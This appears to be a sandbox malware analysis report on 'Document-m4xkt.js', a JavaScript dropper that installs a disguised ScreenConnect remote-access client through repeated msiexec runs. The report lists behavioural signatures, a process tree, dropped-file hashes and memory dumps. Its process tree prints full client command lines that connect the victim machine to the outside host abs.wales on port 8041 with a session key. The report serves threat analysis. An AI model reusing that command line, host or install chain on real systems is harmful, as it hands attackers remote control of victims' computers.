Overview

overview

7

Static

static

1

Document-m4xkt.js

windows10-2004-x64

7

Document-m4xkt.js

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Document-m4xkt.js
  • Size 2.4MB
  • Sample260723-ph3n5ack31
  • SHA256 6b78cd111167197713fd3de28dc951773f298543720d20f288907732dcc59248
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
discoveryexecutionransomware

Malware Config

Signatures

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 64 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 36 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 19 IoCs
  • Suspicious use of SetWindowsHookEx 31 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Document-m4xkt.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1968
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4716
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:712
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3868
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4156
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3188
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2008
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:420
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1084
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3132
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding FAD9917815F2020CDF5DE271B5583848 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI22D0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240723015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2900
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A43167CCCF87047685641DDE1E662553 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:112
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5AA9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737062 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2356
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4132
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2AE32BFD66CAF60C93293F89067057CD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3396
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9937B4D45CA6834172737EC36868FED5 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4628
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 70F9123DC656E0105104DA3975C7451A C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1552
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9764.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240752593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4140
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 19273E32BF8B99CC14B19CEF0ECDC456
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1268
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 06C0A056D4BBB9D0EB8DF11647CB9EF2 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID2C7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240767796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1072
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1F349DC3FB910269AC73D823FE7EE87A
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4816
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A29EB27029994B4594F86522304B70B4 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID8E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240782828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2748
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D3A243796887918C1C1266C3AE1FFA59
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5456
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DFCDE6FB0753037F2C6DD5A9F7076449 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4874.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240797937 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5936
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E7E7ABC1473D86E7139353EB26A61C06
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4208
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 899C415F1B21CEA13E7D3BF808B58F8A C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI835A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240813046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1076
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 02AA46E2116286CC61B758C8E62D8FDD
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4732
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1A486DB78A331EEDDDA7ED539D5A45D2 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5588
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBE31.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240828093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3088
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2D50062FCEB3814B8BC141CD4056A4F4
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2748
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding CCAE96108A3E106ADE2EF71C9078359D C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5440
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF917.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240843140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3156
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6A46B76F9F1CBA5A5B3F110B80FDD112
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2900
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2FD333636B6A81D08F75EBD8C236E154 C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1376
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI343B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240858281 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3936
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 941842932A4CAF190683E01E9ECE950C
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2716
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1300
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=48f32732-838e-4e45-a305-8d9ec2f8a894&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4QmbJTtb1UObhg2VTi1LC7b4xXxhkqKL7SfN6IbD2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgXbj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahqbcPR8tbTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6feRtguRPckaLSzk4RQjfvGUN997lffF4Et2e4ygBJhyEZPO&t=&c=23JUL&c=&c=23JUL&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4732
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=48f32732-838e-4e45-a305-8d9ec2f8a894&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=23JUL&c=&c=23JUL&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5176
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "36fa1706-113d-4e19-b36f-50f90da55034" "User"
        2⤵
        • Executes dropped EXE
        PID:1888
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "5c497ed3-25ab-428d-8787-685af1deeddc" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:796
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=48f32732-838e-4e45-a305-8d9ec2f8a894&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4QmbJTtb1UObhg2VTi1LC7b4xXxhkqKL7SfN6IbD2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgXbj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahqbcPR8tbTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6feRtguRPckaLSzk4RQjfvGUN997lffF4Et2e4ygBJhyEZPO&t=&c=23JUL&c=&c=23JUL&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5172
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "06d409d3-579a-4bd4-b87c-de275d039533" "User"
        2⤵
        • Executes dropped EXE
        PID:2764
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:4848

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e59816c.rbs
            • Path C:\Config.Msi\e59816c.rbs
            • Size 212KB
            • SHA256 659a6337f4a506e43a4cf1de206a8ba8e6947d0663dc4174e6ab9d68fcb1454e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e59816e.rbs
            • Path C:\Config.Msi\e59816e.rbs
            • Size 206KB
            • SHA256 ce5d2ec6d2e8c799b3cb34372af6d829b054ee694d13dc2a3da5502b8abad985
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e59816f.rbs
            • Path C:\Config.Msi\e59816f.rbs
            • Size 206KB
            • SHA256 98f43a0629b763a3e0ca5e3ce50c4568f805c011d0792b6848ca88cb58eaba92
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598170.rbs
            • Path C:\Config.Msi\e598170.rbs
            • Size 206KB
            • SHA256 cef1b2129dda206891e48dd2ffbfc706da51ec921a8ab94633cb7932b4ae5261
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598171.rbs
            • Path C:\Config.Msi\e598171.rbs
            • Size 206KB
            • SHA256 7e888f6f1350502504d9e753fd8c2cab41db86e0b9a29aa9aa1df6edc82ee6b9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598172.rbs
            • Path C:\Config.Msi\e598172.rbs
            • Size 206KB
            • SHA256 06fa2f25f7457a2693c4f808c53ab5a1bc417b80f1e65fad3e0137b9c45983f1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598173.rbs
            • Path C:\Config.Msi\e598173.rbs
            • Size 206KB
            • SHA256 9409b925759543bfc0737f38d49d84ad807a3372219ba6ba27356b52409d5801
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598174.rbs
            • Path C:\Config.Msi\e598174.rbs
            • Size 206KB
            • SHA256 25c93d5c651b49e25f33b8764fe5e4821dc90c8ed1736751efc18bbbf620cdf9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e598175.rbs
            • Path C:\Config.Msi\e598175.rbs
            • Size 206KB
            • SHA256 7298bba9b76085432eab48d8c0c8ad45d509c890c73e3702b355016d55de2307
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Client.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
            • Size 146KB
            • SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
            • Size 30KB
            • SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.ClientService.exe
            • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
            • Size 88KB
            • SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Windows.dll
            • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            app.config
            • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
            • Size 1KB
            • SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Aman.ClientSetup.msi
            • Path C:\Users\Admin\AppData\Local\Temp\Aman.ClientSetup.msi
            • Size 1.8MB
            • SHA256 c50f064ad2b62ae172a11f79e0c3b719b29148e4bb625544549cd5b452aeacf7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MSI22D0.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\MSI22D0.tmp
            • Size 336KB
            • SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Microsoft.Deployment.WindowsInstaller.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI22D0.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.Core.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI22D0.tmp-\ScreenConnect.Core.dll
            • Size 378KB
            • SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ScreenConnect.InstallerActions.dll
            • Path C:\Users\Admin\AppData\Local\Temp\MSI22D0.tmp-\ScreenConnect.InstallerActions.dll
            • Size 17KB
            • SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            CustomAction.config
            • Path C:\Users\Admin\AppData\Local\Temp\MSI5AA9.tmp-\CustomAction.config
            • Size 228B
            • SHA256 c5045c2d482f71215877eb668264ee47e1415792457f19a5a55651c3554cc7cd
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            MSI8583.tmp
            • Path C:\Windows\Installer\MSI8583.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/1888-132-0x00000000024F0000-0x000000000251A000-memory.dmp
            Download

            memory/1888-131-0x00000000003F0000-0x000000000047A000-memory.dmp
            Download

            memory/1888-133-0x000000001B3F0000-0x000000001B454000-memory.dmp
            Download

            memory/1888-134-0x000000001B620000-0x000000001B7D8000-memory.dmp
            Download

            memory/1888-135-0x000000001B7E0000-0x000000001B968000-memory.dmp
            Download

            memory/1888-138-0x0000000000BD0000-0x0000000000BDE000-memory.dmp
            Download

            memory/2900-16-0x00000000035C0000-0x00000000035EE000-memory.dmp
            Download

            memory/2900-20-0x0000000003600000-0x000000000360A000-memory.dmp
            Download

            memory/2900-24-0x0000000003680000-0x00000000036E4000-memory.dmp
            Download

            memory/4108-381-0x000002663B5F0000-0x000002663B6BD000-memory.dmp
            Download

            memory/4108-157-0x000002663B5F0000-0x000002663B6BD000-memory.dmp
            Download

            memory/4732-91-0x0000000000E20000-0x0000000000E2E000-memory.dmp
            Download

            memory/4732-106-0x0000000000E90000-0x0000000000EBA000-memory.dmp
            Download

            memory/4732-119-0x0000000005040000-0x00000000051F8000-memory.dmp
            Download

            memory/5176-129-0x0000000004ED0000-0x0000000004F5A000-memory.dmp
            Download

            memory/5176-130-0x0000000004F60000-0x0000000004FB0000-memory.dmp
            Download

            memory/5176-125-0x0000000004A50000-0x0000000004BD8000-memory.dmp
            Download